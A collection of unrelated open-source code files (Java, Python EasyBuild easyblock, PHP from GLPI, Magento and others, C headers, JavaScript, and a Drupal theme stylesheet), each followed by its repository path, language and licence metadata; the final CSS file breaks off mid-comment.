/* * Project: Tester.java * Description: Tests Circle.java, Dice.java, Polygon.java * Name: Aaron Snowberger * Date: Oct 8, 2015 */ public class Tester { public static void main( String[] args ) { Circle c = new Circle(); System.out.println( "Circle Area: " + c.calcArea(3) ); // static method can be calcArea(3); Dice d = new Dice(); int roll = d.rollDice(); while( roll != 6 ) { System.out.println( "\nThe dice shows " + roll ); roll = d.rollDice(); } Polygon p = new Polygon(40); System.out.println( "\n" + p.sidesToString() ); } // end main method } // end Tester
gpakorea/java-more-math-and-strings
Tester.java
Java
gpl-2.0
659
## # Copyright 2009-2020 Ghent University # # This file is part of EasyBuild, # originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), # with support of Ghent University (http://ugent.be/hpc), # the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), # Flemish Research Foundation (FWO) (http://www.fwo.be/en) # and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). # # https://github.com/easybuilders/easybuild # # EasyBuild is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation v2. # # EasyBuild is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with EasyBuild. If not, see <http://www.gnu.org/licenses/>. ## """ EasyBuild support for building and installing MRtrix, implemented as an easyblock """ import glob import os from distutils.version import LooseVersion import easybuild.tools.environment as env from easybuild.framework.easyblock import EasyBlock from easybuild.tools.filetools import copy, symlink from easybuild.tools.run import run_cmd from easybuild.tools.systemtools import get_shared_lib_ext class EB_MRtrix(EasyBlock): """Support for building/installing MRtrix.""" def __init__(self, *args, **kwargs): """Initialize easyblock, enable build-in-installdir based on version.""" super(EB_MRtrix, self).__init__(*args, **kwargs) if LooseVersion(self.version) >= LooseVersion('0.3') and LooseVersion(self.version) < LooseVersion('0.3.14'): self.build_in_installdir = True self.log.debug("Enabled build-in-installdir for version %s", self.version) def extract_step(self): """Extract MRtrix sources.""" # strip off 'mrtrix*' part to avoid having everything in a 'mrtrix*' subdirectory if LooseVersion(self.version) >= LooseVersion('0.3'): self.cfg.update('unpack_options', '--strip-components=1') super(EB_MRtrix, self).extract_step() def configure_step(self): """No configuration step for MRtrix.""" if LooseVersion(self.version) >= LooseVersion('0.3'): if LooseVersion(self.version) < LooseVersion('0.3.13'): env.setvar('LD', "%s LDFLAGS OBJECTS -o EXECUTABLE" % os.getenv('CXX')) env.setvar('LDLIB', "%s -shared LDLIB_FLAGS OBJECTS -o LIB" % os.getenv('CXX')) env.setvar('QMAKE_CXX', os.getenv('CXX')) cmd = "python configure -verbose" run_cmd(cmd, log_all=True, simple=True, log_ok=True) def build_step(self): """Custom build procedure for MRtrix.""" cmd = "python build -verbose" run_cmd(cmd, log_all=True, simple=True, log_ok=True) def install_step(self): """Custom install procedure for MRtrix.""" if LooseVersion(self.version) < LooseVersion('0.3'): cmd = "python build -verbose install=%s linkto=" % self.installdir run_cmd(cmd, log_all=True, simple=True, log_ok=True) elif LooseVersion(self.version) >= LooseVersion('3.0'): copy(os.path.join(self.builddir, 'bin'), self.installdir) copy(os.path.join(self.builddir, 'lib'), self.installdir) elif LooseVersion(self.version) >= LooseVersion('0.3.14'): copy(glob.glob(os.path.join(self.builddir, 'release', '*')), self.installdir) copy(os.path.join(self.builddir, 'scripts'), self.installdir) # some scripts expect 'release/bin' to be there, so we put a symlink in place symlink(self.installdir, os.path.join(self.installdir, 'release')) def make_module_req_guess(self): """ Return list of subdirectories to consider to update environment variables; also consider 'scripts' subdirectory for $PATH """ guesses = super(EB_MRtrix, self).make_module_req_guess() guesses['PATH'].append('scripts') if LooseVersion(self.version) >= LooseVersion('3.0'): guesses.setdefault('PYTHONPATH', []).append('lib') return guesses def sanity_check_step(self): """Custom sanity check for MRtrix.""" shlib_ext = get_shared_lib_ext() if LooseVersion(self.version) >= LooseVersion('0.3'): libso = 'libmrtrix.%s' % shlib_ext else: libso = 'libmrtrix-%s.%s' % ('_'.join(self.version.split('.')), shlib_ext) custom_paths = { 'files': [os.path.join('lib', libso)], 'dirs': ['bin'], } custom_commands = [] if LooseVersion(self.version) >= LooseVersion('3.0'): custom_commands.append("python -c 'import mrtrix3'") super(EB_MRtrix, self).sanity_check_step(custom_paths=custom_paths, custom_commands=custom_commands)
pescobar/easybuild-easyblocks
easybuild/easyblocks/m/mrtrix.py
Python
gpl-2.0
5,093
<?php /* * @version $Id$ ------------------------------------------------------------------------- GLPI - Gestionnaire Libre de Parc Informatique Copyright (C) 2015 Teclib'. http://glpi-project.org based on GLPI - Gestionnaire Libre de Parc Informatique Copyright (C) 2003-2014 by the INDEPNET Development Team. ------------------------------------------------------------------------- LICENSE This file is part of GLPI. GLPI is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. GLPI is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with GLPI. If not, see <http://www.gnu.org/licenses/>. -------------------------------------------------------------------------- */ /** @file * @brief */ if (!defined('GLPI_ROOT')) { die("Sorry. You can't access this file directly"); } //! ProjectTaskTeam Class /** * This class is used to manage the project task team * @see ProjectTask * @author Julien Dombre * @since version 0.85 **/ class ProjectTaskTeam extends CommonDBRelation { // From CommonDBTM public $dohistory = true; var $no_form_page = true; // From CommonDBRelation static public $itemtype_1 = 'ProjectTask'; static public $items_id_1 = 'projecttasks_id'; static public $itemtype_2 = 'itemtype'; static public $items_id_2 = 'items_id'; static public $checkItem_2_Rights = self::DONT_CHECK_ITEM_RIGHTS; static public $available_types = array('User', 'Group', 'Supplier', 'Contact'); /** * @see CommonDBTM::getNameField() **/ static function getNameField() { return 'id'; } static function getTypeName($nb=0) { return _n('Task team', 'Task teams', $nb); } function getForbiddenStandardMassiveAction() { $forbidden = parent::getForbiddenStandardMassiveAction(); $forbidden[] = 'update'; return $forbidden; } function getTabNameForItem(CommonGLPI $item, $withtemplate=0) { if (!$withtemplate && static::canView()) { $nb = 0; switch ($item->getType()) { case 'ProjectTask' : if ($_SESSION['glpishow_count_on_tabs']) { $nb = $item->getTeamCount(); } return self::createTabEntry(self::getTypeName(1), $nb); } } return ''; } /** * @param $item Project object * * @return number **/ static function countForProject(Project $item) { $restrict = "`glpi_projecttaskteams`.`projecttasks_id` = '".$item->getField('id') ."'"; return countElementsInTable(array('glpi_projecttaskteams'), $restrict); } static function displayTabContentForItem(CommonGLPI $item, $tabnum=1, $withtemplate=0) { switch ($item->getType()) { case 'ProjectTask' : $item->showTeam($item); return true; } } /** * Get team for a project * * @param $projects_id **/ static function getTeamFor($projects_id) { global $DB; $team = array(); $query = "SELECT `glpi_projecttaskteams`.* FROM `glpi_projecttaskteams` WHERE `projecttasks_id` = '$projects_id'"; foreach ($DB->request($query) as $data) { if (!isset($team[$data['itemtype']])) { $team[$data['itemtype']] = array(); } $team[$data['itemtype']][] = $data; } // Define empty types foreach (static::$available_types as $type) { if (!isset($team[$type])) { $team[$type] = array(); } } return $team; } } ?>
korial29/glpi
inc/projecttaskteam.class.php
PHP
gpl-2.0
4,072
/* * $Id$ * * Copyright (C) 2006 - 2007 Stephen F. Booth <me@sbooth.org> * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA */ #import <Cocoa/Cocoa.h> #import "AudioStreamCollectionNode.h" // ======================================== // A node representing the top _count most frequently-played streams // ======================================== @interface MostPopularNode : AudioStreamCollectionNode { unsigned _count; } @end
sbooth/Play
Browser/MostPopularNode.h
C
gpl-2.0
1,113
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ namespace Magento\Backend\Test\Constraint; use Magento\Backend\Test\Fixture\GlobalSearch; use Magento\Backend\Test\Page\Adminhtml\Dashboard; use Magento\Mtf\Constraint\AbstractConstraint; /** * Class AssertGlobalSearchPreview * Assert that admin search preview is present in search results */ class AssertGlobalSearchPreview extends AbstractConstraint { /** * Assert that admin search preview is present in search results * * @param Dashboard $dashboard * @param GlobalSearch $search * @return void */ public function processAssert(Dashboard $dashboard, GlobalSearch $search) { $types = ['Products', 'Customers', 'Orders', 'Pages']; foreach ($types as $type) { $this->adminSearchAssert($dashboard, $search, $type); } } /** * Assert value of item in admin search preview * * @param Dashboard $dashboard * @param GlobalSearch $search * @param string $type */ private function adminSearchAssert($dashboard, $search, $type) { $adminSearchPreview = '"' . $search->getQuery() . '" in '. $type; $isVisibleInResult = $dashboard->getAdminPanelHeader()->isAdminSearchPreviewVisible($adminSearchPreview, $type); \PHPUnit\Framework\Assert::assertTrue( $isVisibleInResult, 'Search Preview for ' . $type . ' is not in search results' ); } /** * Returns a string representation of the object. * * @return string */ public function toString() { return 'Search preview is present in search results'; } }
kunj1988/Magento2
dev/tests/functional/tests/app/Magento/Backend/Test/Constraint/AssertGlobalSearchPreview.php
PHP
gpl-2.0
1,728
<?php /** * @package Wright * @subpackage HTML Layouts * * @copyright Copyright (C) 2005 - 2015 Joomlashack. Meritage Assets. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE.txt */ // No direct access. defined('_JEXEC') or die; $app = JFactory::getApplication(); require_once(JPATH_THEMES.'/'.$app->getTemplate().'/'.'wright'.'/'.'html'.'/'.'overrider.php'); include(Overrider::getOverride('lyt.joomla.content.info_block.hits')); ?>
mstewartua/newprod
templates/js_wright/html/layouts/joomla/content/info_block/hits.php
PHP
gpl-2.0
497
/* * DBeaver - Universal Database Manager * Copyright (C) 2016-2016 Karl Griesser (fullref@gmail.com) * Copyright (C) 2010-2016 Serge Rieder (serge@jkiss.org) * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License (version 2) * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License along * with this program; if not, write to the Free Software Foundation, Inc., * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. */ package org.jkiss.dbeaver.ext.exasol.model.cache; import org.jkiss.code.NotNull; import org.jkiss.code.Nullable; import org.jkiss.dbeaver.DBException; import org.jkiss.dbeaver.ext.exasol.model.ExasolSchema; import org.jkiss.dbeaver.ext.exasol.model.ExasolTableColumn; import org.jkiss.dbeaver.ext.exasol.model.ExasolView; import org.jkiss.dbeaver.model.exec.jdbc.JDBCPreparedStatement; import org.jkiss.dbeaver.model.exec.jdbc.JDBCResultSet; import org.jkiss.dbeaver.model.exec.jdbc.JDBCSession; import org.jkiss.dbeaver.model.exec.jdbc.JDBCStatement; import org.jkiss.dbeaver.model.impl.jdbc.cache.JDBCStructCache; import java.sql.SQLException; /** * Cache for Exasol Views * * @author Karl Griesser */ public class ExasolViewCache extends JDBCStructCache<ExasolSchema, ExasolView, ExasolTableColumn> { /* rename columns for compatibility to TableBase Object */ private static final String SQL_VIEWS = "select * from (" + " SELECT " + " VIEW_OWNER AS TABLE_OWNER," + " VIEW_NAME AS TABLE_NAME, " + " VIEW_COMMENT AS REMARKS," + " 'VIEW' as TABLE_TYPE," + " VIEW_TEXT FROM EXA_ALL_VIEWS " + " WHERE VIEW_SCHEMA = ? " + " union all " + " select " + " 'SYS' as TABLE_OWNER, " + " object_name as TABLE_NAME, " + " object_comment as REMARKS, " + " object_type, " + " 'N/A for sysobjects' as view_text " + " from sys.exa_syscat " + " where " + " SCHEMA_NAME = ? " + " ) " + "order by table_name"; private static final String SQL_COLS_VIEW = "SELECT c.*,CAST(NULL AS INTEGER) as key_seq FROM \"$ODBCJDBC\".\"ALL_COLUMNS\" c WHERE c.table_SCHEM = ? AND c.TABLE_name = ? order by ORDINAL_POSITION"; private static final String SQL_COLS_ALL = "SELECT c.*,CAST(NULL AS INTEGER) as key_seq FROM \"$ODBCJDBC\".\"ALL_COLUMNS\" c WHERE c.table_SCHEM = ? order by c.TABLE_name,ORDINAL_POSITION"; public ExasolViewCache() { super("TABLE_NAME"); } @Override protected JDBCStatement prepareObjectsStatement(@NotNull JDBCSession session, @NotNull ExasolSchema exasolSchema) throws SQLException { final JDBCPreparedStatement dbStat = session.prepareStatement(SQL_VIEWS); dbStat.setString(1, exasolSchema.getName()); dbStat.setString(2, exasolSchema.getName()); return dbStat; } @Override protected ExasolView fetchObject(@NotNull JDBCSession session, @NotNull ExasolSchema exasolSchema, @NotNull JDBCResultSet dbResult) throws SQLException, DBException { return new ExasolView(session.getProgressMonitor(), exasolSchema, dbResult); } @Override protected JDBCStatement prepareChildrenStatement(@NotNull JDBCSession session, @NotNull ExasolSchema exasolSchema, @Nullable ExasolView forView) throws SQLException { String sql; if (forView != null) { sql = SQL_COLS_VIEW; } else { sql = SQL_COLS_ALL; } JDBCPreparedStatement dbStat = session.prepareStatement(sql); dbStat.setString(1, exasolSchema.getName()); if (forView != null) { dbStat.setString(2, forView.getName()); } return dbStat; } @Override protected ExasolTableColumn fetchChild(@NotNull JDBCSession session, @NotNull ExasolSchema exasolSchema, @NotNull ExasolView exasolView, @NotNull JDBCResultSet dbResult) throws SQLException, DBException { return new ExasolTableColumn(session.getProgressMonitor(), exasolView, dbResult); } }
Corvu/dbeaver
plugins/org.jkiss.dbeaver.ext.exasol/src/org/jkiss/dbeaver/ext/exasol/model/cache/ExasolViewCache.java
Java
gpl-2.0
4,507
#ifndef _BAT_ID_H_ #define _BAT_ID_H_ #define GPIO_BATTERY_DATA_PIN GPIO20 #define GPIO_BATTERY_DATA_PIN_M_GPIO GPIO_MODE_00 #define CHK_BATTERY_ID #define BATTERY_PACK_ERROR 0 #define BATTERY_PACK_BL_44JH 1 //1700mAh #define BATTERY_PACK_BL_44JN 2 //1540mAh extern kal_uint8 battery_pack_id; extern void bat_id_init_pin(void); extern void bat_id_deinit_pin(void); #endif //ifndef _BAT_ID_H_
darklord4822/android_kernel_lg_l60
arch/arm/mach-mt6572/l60/power/cust_bat_id.h
C
gpl-2.0
410
<?php class EquipmentType extends BaseModel { protected $table = 'EquipmentTypes'; protected $guarded = array('equipmentTypeID'); public $primaryKey = 'equipmentTypeID'; public $timestamps = false; }
m00dawg/Aquaricle
app/models/EquipmentType.php
PHP
gpl-2.0
205
<?php /* * This file is part of PHPExifTool. * * (c) 2012 Romain Neutron <imprec@gmail.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPExiftool\Driver\Tag\DICOM; use PHPExiftool\Driver\AbstractTag; class SpecimenTypeCodeSequence extends AbstractTag { protected $Id = '0040,059A'; protected $Name = 'SpecimenTypeCodeSequence'; protected $FullName = 'DICOM::Main'; protected $GroupName = 'DICOM'; protected $g0 = 'DICOM'; protected $g1 = 'DICOM'; protected $g2 = 'Image'; protected $Type = '?'; protected $Writable = false; protected $Description = 'Specimen Type Code Sequence'; }
Droces/casabio
vendor/phpexiftool/phpexiftool/lib/PHPExiftool/Driver/Tag/DICOM/SpecimenTypeCodeSequence.php
PHP
gpl-2.0
742
<?php /** * TomatoCMS * * LICENSE * * This source file is subject to the GNU GENERAL PUBLIC LICENSE Version 2 * that is bundled with this package in the file LICENSE.txt. * It is also available through the world-wide-web at this URL: * http://www.gnu.org/licenses/gpl-2.0.txt * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@tomatocms.com so we can send you a copy immediately. * * @copyright Copyright (c) 2009-2010 TIG Corporation (http://www.tig.vn) * @license http://www.gnu.org/licenses/gpl-2.0.txt GNU GENERAL PUBLIC LICENSE Version 2 * @version $Id: Zone.php 2099 2010-04-07 13:33:27Z huuphuoc $ * @since 2.0.5 */ interface Tomato_Modules_Ad_Model_Interface_Zone { /** * @param int $id * @return Tomato_Modules_Ad_Model_Zone */ public function getZoneById($id); /** * Get all zones * * @return Tomato_Core_Model_RecordSet */ public function getZones(); /** * @param int $id * @return int */ public function delete($id); /** * Update zone * * @param Tomato_Modules_Ad_Model_Zone $zone * @return int */ public function update($zone); /** * Add new zone * * @param Tomato_Modules_Ad_Model_Zone $zone * @return int */ public function add($zone); /** * Check whether a zone exists or not * * @param string $name * @return bool */ public function exist($name); }
tucq88/os_thoibaonh
app/modules/ad/model/interface/Zone.php
PHP
gpl-2.0
1,452
jQuery(document).ready(function($) { $(".wp-list-table tbody").sortable({handle:".kpm-handle-column", cursor: 'url(images/closedhand.cur)', helper:function(e, ui) { ui.children().each(function() { $(this).width($(this).width()); }); return ui; }, start:function () { $('.kpm-handle-column').addClass('kpm-close-hand'); }, stop:function() { params = { action:'kpm_br_reorder_items', nonce:$("#_wpnonce").val() }; fields = $('input:hidden[name="order[]"]').serialize(); params = fields + '&' + $.param(params); $.post(ajaxurl, params); $('.kpm-handle-column').removeClass('kpm-close-hand'); $('.kpm-order-column').each(function(n) { $(this).html(n+1); $(this).parent().toggleClass("alternate", n%2 == 0); }); } }); });
gregory651/p
wp-content/plugins/wp-kpm-rotator/js/items-sortable.js
JavaScript
gpl-2.0
791
/* $Id: fusion-starter-lite-style.css,v 1.1.2.1 2010/06/17 07:54:57 sociotech Exp $ */ /* Basic Typography & Colors -------------------------------------------------------------- */ /* Add general site styling here for typography and background */ body { font-size: 75%; /* also set in fusion_starter.info: settings[base-font-size] = font-size-12 */ min-height: 101%; } /* Default link styles - separate a:visited for a different visited link style */ a, a:link, a:visited { color:#333333; } /* Hover/active link styles. Don't forget :focus for accessibility */ a:hover, a:focus, a:active { } /* Tables -------------------------------------------------------------- */ table { } /* Body of tables */ tbody { border:0; } /* Header of tables */ thead th, th { border-bottom: 3px solid #ccc; } tbody th { border-bottom: 1px solid #ccc; } /* Alternating row background styles */ tr.even, tr.even td { background-color: #fff; border-bottom: 1px solid #ccc; } tr.odd, tr.odd td { background-color: #fff; border-bottom: 1px solid #ccc; } td.active { } tr.drag td, tr.drag-previous td { color: #000; } /* Specific Typography -------------------------------------------------------------- */ #site-name { } /* HTML Elements -------------------------------------------------------------- */ body { overflow-y: scroll; } /* Site Info -------------------------------------------------------------- */ /* Add float here to put logo and site name side by side, also add margins as needed */ #logo { float:left; } /* Link and hover styles for site name */ #site-name a:link, #site-name a:visited, #site-name a:hover, #site-name a:active { } /* Typography for site slogan */ #slogan { } /* Regions -------------------------------------------------------------- */ /* All Regions -------------------------------------------------------------- */ #page { background:url(../images/page_bg_middle.png); width: 1060px; margin:auto; color:#232C35; min-height: 700px; /*position:relative;*/ padding-bottom: 50px; } #page-top { background:url(../images/page_bg_top.png); width: 1060px; height: 30px; margin:auto; margin-top: 40px; } #page-bottom { background:url(../images/page_bg_bottom.png); width: 1060px; height: 30px; margin:auto; margin-bottom: 40px; position: relative; } .page { } #page-wrapper{ overflow: auto; background-image: url(../images/body_bg.jpg); background-repeat:no-repeat; } #main{ position: relative; } /* Site info + Header Region -------------------------------------------------------------- */ .header-group { } /* Primary Menu /-------------------------------------------------------------- */ /* Add general styles for primary menu here, such as typography, borders, floats, or spacing above/below */ .primary-menu { float: right; width: 335px; text-transform:uppercase; font-weight:bold; margin-right: 20px; margin-top: 17px; font-size:12px; } /* styles for Superfish primary menu */ .primary-menu-inner ul.menu { float: right; } /* Link style for top level menu items, add padding here */ .primary-menu-inner ul.menu a, .primary-menu-inner ul.menu a:visited { color:#FFF; padding-top: 5px; padding-bottom: 5px; } .primary-menu-inner ul.menu a:hover, .primary-menu-inner ul.menu a:active, .primary-menu-inner ul.menu a:focus { } /* These are the top level menu items, add border-right here for separators */ .primary-menu-inner ul.menu li { border-right:#FFF 2px solid; /*height: 36px;*/ } /* Add border-right: 0; here to remove separator on last menu item */ .primary-menu-inner ul.menu li.last { border-right: 0; } /* Style for container of dropdown, add background or border */ .primary-menu-inner ul.menu ul { } /* Style for individual dropdown menu items, add border-bottom for separators */ .primary-menu-inner ul.menu li li { background-color: #fff; } .primary-menu-inner ul.menu li li.last { } .primary-menu-inner ul.menu li li li { } /* Style for hover of dropdown menu items (add background-color here) */ .primary-menu-inner ul.menu li ul li:hover, .primary-menu-inner ul.menu li ul li.sfHover { } /* Secondary menu -------------------------------------------------------------- */ /* This menu usually appears in the header as a set of simple text links */ .secondary-menu { text-transform:uppercase; color: #333333; margin-top:30px; width: 400px; float:right; } .secondary-menu-inner{ float:right; } /* Set general style for menu here -- background, alignment, etc. */ .secondary-menu-inner ul.links { } /* Add a border-right here for a separator */ .secondary-menu-inner ul.links li { border-right: 1px #333333 solid; padding-right: 5px; } /* Add border-right: 0; here to remove right separator on last menu item */ .secondary-menu-inner ul.links li.last { border-right: 0; } /* Styles for links */ .secondary-menu-inner ul.links li a:link, .secondary-menu-inner ul.links li a:visited { padding: 3px; } .secondary-menu-inner ul.links li a:hover, .secondary-menu-inner ul.links li a:focus, .secondary-menu-inner ul.links li a.active { } /* Catalogues menu -------------------------------------------------------------- */ /* This menu usually appears in the header as a set of simple text links */ .catalogues-menu { margin-top:10px; margin-bottom:0px; width: 400px; position:relative; margin-bottom:-2px; z-index: auto; } #catalogues-menu-inner { margin-left:0px; } /* Set general style for menu here -- background, alignment, etc. */ .catalogues-menu-inner ul.links { } /* Add a border-right here for a separator */ .catalogues-menu-inner ul.links li { border-right: 1px #333333 solid; padding-right: 5px; } .catalogues-menu-inner ul.links li.first { border-right: 0; } /* Add border-right: 0; here to remove right separator on last menu item */ .catalogues-menu-inner ul.links li.last { border-right: 0; } /* Styles for links */ .catalogues-menu-inner ul.links li a:link, .catalogues-menu-inner ul.links li a:visited { display:block; width:180px; height:25px; float:left; color:#FFF; text-align:center; text-transform:uppercase; font-weight:bold; font-size:14px; padding-top:2px; position:relative; } /* anpassen der menu Bilder*/ .catalogues-menu-inner ul.links li a img{ margin-top:-5px; margin-bottom: -10px; } /* Styles for links */ .catalogues-menu-inner ul.links li.first a:link, .catalogues-menu-inner ul.links li.first a:visited { background: url(../images/tab_first.png); } /* Styles for links */ .catalogues-menu-inner ul.links li.last a:link, .catalogues-menu-inner ul.links li.last a:visited { background: url(../images/tab_last.png); } .catalogues-menu-inner ul.links li.last a:hover { background: url(../images/tab_hover.png); text-decoration:none; color:#0099FF; } .catalogues-menu-inner ul.links li.first a:hover { background: url(../images/tab_hover.png); text-decoration:none; color:#048909; } .catalogues-menu-inner ul.links li.last a:focus, .catalogues-menu-inner ul.links li.last a.active { background: url(../images/tab_active.png); text-decoration:none; color:#0099FF; } .catalogues-menu-inner ul.links li.first a:focus, .catalogues-menu-inner ul.links li.first a.active { background: url(../images/tab_active.png); text-decoration:none; color:#048909; } /* Header - User info -------------------------------------------------------------- */ #user-info { float: right; width: 300px; margin-bottom: 0px; margin-top: 10px; } #user-info a{ float: right; margin-left: 10px; } #user-info a img, #user-info a div{ float: left; margin-left: 5px; text-transform:uppercase; } /* Header - Main bavigation bar -------------------------------------------------------------- */ #main-navi-bar { clear:both; margin-bottom: 10px; } #main-navi-bar-inner { background: url(../images/mainnavi_bg.png) no-repeat; /*height: 65px;*/ position:relative; z-index:0; clear:both; margin-bottom: 0px; } /* Header - Search -------------------------------------------------------------- */ .search-box{ margin-top: 10px; float:left; width: 280px; margin-left: 10px; margin-bottom: 0px; } .search-box label{ color:#FFF; text-transform:uppercase; margin-right: 10px; font-weight:bold; font-size:12px; } .search-box input.form-text{ color:#999999; height: 14px; } .search-box select{ color:#999999; width: 150px; } .search-box-inner { } .search-box form { height: 46px; } .search-box-inner form#search-theme-form { } .search-box-inner input#edit-search-theme-form-header { } #search .form-item{ float:left; } #edit-search-theme-form-1-wrapper{ margin-right: 15px; min-width: 190px; } #edit-custom-search-vocabulary-1-wrapper, #edit-custom-search-vocabulary-8-wrapper{ min-width: 145px; } #search .form-submit{ float: left; } /* Header - Create Button -------------------------------------------------------------- */ #create-button, #create-button2{ float: right; width: 150px; margin-top:12px; margin-left:15px; } #create-button a div, #create-button2 a div{ width: 100px; margin-left: 10px; } #create-button a div, #create-button a img, #create-button2 a div, #create-button2 a img{ float:left; } #create-button a:link, #create-button a:visited, #create-button2 a:link, #create-button2 a:visited { color:#FFF; font-size:14px; text-decoration:none; text-transform:uppercase; font-weight:bold; } /* Login bar /-------------------------------------------------------------- */ #login-bar{ width: 355px; float: right; color:#FFF; font-size:10px; margin-right: 0px; margin-bottom:0; } #login-bar div.form-item{ float:left; margin-right: 10px; margin-top: 2px; margin-bottom: 5px; } #login-bar input.form-submit{ margin-top: 18px; font-size:11px; } #login-bar div.item-list{ display:block; float:left; margin-right: 10px; width: 335px; margin-top: 0px; padding-top: 0px; } #login-bar div.item-list ul li{ float:left; margin-right: 43px; } #login-bar div.item-list ul li a, #login-bar div.item-list ul li a:visited{ color:#FFF; } /* Main Area (content + sidebars) -------------------------------------------------------------- */ .main { } /* Sidebar Regions -------------------------------------------------------------- */ /* Sidebar widths can be controlled through theme settings */ .sidebar-first { } .sidebar-last { } .sidebar-last .block .inner{ margin-left:15px; } .sidebar-first .view-tool-categories .item-list ul, .sidebar-first ul.menu{ list-style:none; margin:0; } .sidebar-first .view-tool-categories ul li, .sidebar-first ul.menu li{ list-style:none; } .sidebar-first .view-tool-categories ul li a:link, .sidebar-first .view-tool-categories ul li a:visited, .sidebar-first ul.menu li a:link, .sidebar-first ul.menu li a:visited{ display:block; font-size: 14px; font-weight:bold; background:url(../images/subnavi_bg.png); width: 220px; height: 25px; padding-top:5px; padding-left: 10px; } .sidebar-first .view-tool-categories ul li a:hover, .sidebar-first .view-tool-categories ul li a:focus, .sidebar-first .view-tool-categories ul li a.active, .sidebar-first ul.menu li a:hover, .sidebar-first ul.menu li a:focus, .sidebar-first ul.menu li a.active{ text-decoration:none; background:url(../images/subnavi_hover.png); color: #333; } .sidebar-first .view-tool-categories ul li ul li a:link, .sidebar-first .view-tool-categories ul li ul li a:visited, .sidebar-first ul.menu li ul li a:link, .sidebar-first ul.menu li ul li a:visited{ font-size: 12px; width: 210px; padding-left: 20px; } .sidebar-first .view-tool-categories ul li ul li ul li a:link, .sidebar-first .view-tool-categories ul li ul li ul li a:visited, .sidebar-first ul.menu li ul li ul li a:link, .sidebar-first ul.menu li ul li ul li a:visited{ font-size: 11px; width: 200px; padding-left: 30px; } /* Content Regions -------------------------------------------------------------- */ .content { } /* Footer Region -------------------------------------------------------------- */ .footer { } #developed-by{ background:url(../images/footer.png) no-repeat; height: 51px; width: 230px; position:absolute; right: 30px; bottom: 25px; } /* Page titles /-------------------------------------------------------------- */ /* Page and full node titles */ h1.title { } /* Default node styles /-------------------------------------------------------------- */ /* Change unpublished and preview colors for dark background themes */ .node-unpublished { background-color: #fff4f4; } .preview .node { background-color: #ffffea; } /* Typography for node titles */ h2.title { } /* Colors and styles for linked node titles, ie. teaser listing at /node */ h2.title a:link, h2.title a:visited { } h2.title a:hover, h2.title a:focus, h2.title a:active { } /* Separators and padding for node teasers */ .teaser { } /* Author/date info */ .meta { } .submitted { } /* Links for nodes (taxonomy, commenting, read more, etc) */ .node ul.links li { } .node ul.links a { } /* Only more/read more links */ div.node .read-more a, div.node .more-link a { } /* Drupal Content tabs /-------------------------------------------------------------- */ #content-group{ position: relative; } #content-tabs { margin-bottom: 0; } #content-tabs .content-tabs-inner{ float: right; } #content-tabs .content-tabs-inner ul.tabs{ margin-top:1px; margin-bottom:-2px; border:0; text-align: right; } #content-tabs .content-tabs-inner ul.tabs li{ } #content-tabs .content-tabs-inner ul.tabs li a{ margin: 0 3px 0 2px; -webkit-border-top-left-radius: 3px; -webkit-border-top-right-radius: 3px; -moz-border-radius-topleft: 3px; -moz-border-radius-topright: 3px; border-top-left-radius: 3px; border-top-right-radius: 3px; text-decoration: none; } #content-tabs .content-tabs-inner ul.secondary{ text-align: right; margin : 0; border: 1px solid #CCC; } #content-tabs .content-tabs-inner ul.secondary li { margin: 0 0px 0 2px; border: 0; } /* Drupal Messages /-------------------------------------------------------------- */ /* General style for all errors/messages (border, padding, etc.) */ div.content-messages div.messages, div.content-help div.help { margin-bottom:0 ; } /* Status messages: green */ div.content-messages-inner div.status { } /* Warning messages: yellow */ div.content-messages-inner div.warning { } /* Error messages: red */ div.content-messages-inner div.error { } /* Help messages: blue */ div.content-help-inner div.help { } /* Error that appears when a required form field is not filled out */ .form-item input.error, .form-item textarea.error, .form-item select.error { border: 1px solid #aa1144; } /* "New" text and required form field asterisk (default = red) */ .marker, .form-required { color: #aa1144; } /* Breadcrumbs -------------------------------------------------------------- */ .breadcrumbs { } .breadcrumbs a:link, .breadcrumbs a:visited { } /* Pagers -------------------------------------------------------------- */ ul.pager { } ul.pager li { } ul.pager a, ul.pager li.pager-current { border-color: #333; } ul.pager li.pager-current { background-color: #777; color: #fff; } ul.pager a:hover, ul.pager a:active, ul.pager a:focus { background-color: #777; border-color: #333; color: #fff; } /* Forms /-------------------------------------------------------------- */ /* Typography and backgrounds for all form buttons */ form input.form-submit { margin: 2px; padding: 3px 5px; } /* Hover style for form buttons */ form input.form-submit:hover, form input.form-submit.hover, form input.form-submit:focus { } /* Typography, background, borders, padding for form fields */ .form-item input, .form-item select, .form-item textarea { } /* Remove backgrounds and border on radios and checkboxes */ .form-item .form-radio, .form-item .form-checkbox { background: none; border: none !important; } .node-form .widget-edit{ width:70%; } .node-form .description{ font-size: 95%; line-height: 130%; } /* 